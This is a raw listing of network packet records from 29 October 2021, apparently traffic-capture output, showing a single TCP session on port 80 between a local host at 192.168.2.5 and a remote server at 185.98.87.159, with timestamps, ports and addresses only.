Oct 29, 2021 20:10:45.345236063 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345268965 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345269918 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345292091 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345314026 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345314026 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345339060 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345352888 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.345371962 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.345426083 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398143053 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398348093 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398396969 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398422956 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398443937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398452044 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398466110 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398478031 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398488998 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398511887 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398519993 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398535013 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398557901 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398566961 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398581982 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398596048 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398605108 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398628950 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398643970 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398652077 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398675919 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398696899 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398710966 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398719072 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398741007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398763895 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398763895 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398785114 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398786068 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398812056 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398832083 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398833036 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398854971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398875952 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398886919 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398900032 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398915052 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.398924112 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398946047 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398968935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398988962 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.398989916 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.399012089 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.399015903 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.399044991 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.399063110 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.399085999 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.399993896 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.451647997 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451683998 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451704979 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451726913 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451745987 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451755047 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.451769114 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.451801062 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.451843977 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452147007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452173948 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452194929 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452214956 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452215910 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452234983 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452256918 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452263117 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452279091 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452296972 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452301025 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452322960 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452343941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452363014 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452368021 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452388048 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452390909 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452414989 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452428102 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452435970 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452457905 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452477932 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452478886 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452502966 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452512026 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452524900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452545881 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452567101 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452584982 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452591896 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452609062 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452613115 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452632904 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452651024 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452652931 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452672005 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452692032 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452696085 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452713966 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452734947 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452756882 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452758074 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452779055 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452795029 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452799082 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452817917 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452825069 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452838898 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452881098 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452881098 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452902079 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452917099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452938080 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452954054 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.452956915 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452969074 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452981949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452999115 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.452999115 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453002930 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453068018 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453069925 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453107119 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453408957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453433037 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453452110 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453473091 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453474045 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453525066 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453619957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453639984 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453655005 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453672886 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.453697920 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.453717947 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505604982 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505635023 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505651951 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505667925 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505683899 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505701065 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505705118 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505717039 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505733967 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505744934 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505749941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505770922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505786896 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505795002 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505803108 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505820036 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505825996 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505835056 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505842924 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505851984 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505867958 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505872011 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505883932 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505899906 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505903006 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505917072 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505928040 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505939007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505951881 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505964994 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505976915 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.505981922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.505997896 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506005049 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506015062 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506042004 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506047010 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506061077 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506067991 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506088018 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506105900 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506108999 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506129980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506150007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506169081 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506170034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506191015 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506198883 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506211042 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506227016 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506232023 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506252050 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506273031 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506273985 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506294012 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506314039 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506321907 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506335020 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506350040 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506355047 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506375074 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506395102 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506398916 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506414890 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506458044 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506474972 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506495953 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506515980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506527901 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506536007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506558895 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506578922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506591082 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506598949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506613970 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506620884 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506633043 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.506943941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506964922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.506983995 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507004976 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507009029 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507025957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507045984 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507046938 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507061005 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507067919 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507087946 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507108927 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507114887 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507144928 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507165909 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507169008 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507184982 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507205963 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507209063 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507225990 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507246971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507251978 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507266998 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507287979 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507293940 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507308006 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507328987 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507333994 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507349014 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507380009 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507385015 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507405996 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507421017 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507426977 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507483959 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507488012 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507509947 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507531881 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507550955 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507563114 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507571936 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507591963 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507597923 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507612944 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507632017 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507637978 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507652044 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507673025 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507690907 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507693052 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507714033 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507724047 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.507734060 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.507771015 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.517103910 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.560551882 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560601950 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560641050 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560676098 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560694933 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.560709953 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560718060 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.560746908 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560786963 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560818911 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560874939 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560878992 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.560889959 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.560909986 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560945988 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560981035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.560996056 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561021090 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561057091 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561091900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561105013 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561113119 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561127901 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561161995 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561198950 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561211109 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561237097 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561244011 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561270952 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561307907 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561320066 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561342955 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561371088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561387062 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561407089 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561439991 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561475039 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561507940 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561508894 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561521053 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561543941 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561579943 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561594963 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561614037 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561647892 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561659098 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561682940 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561716080 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561728954 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561749935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561788082 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561794043 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561822891 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561860085 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561893940 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561906099 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561930895 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.561933041 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.561968088 CEST	80	49811	185.98.87.159	192.168.2.5
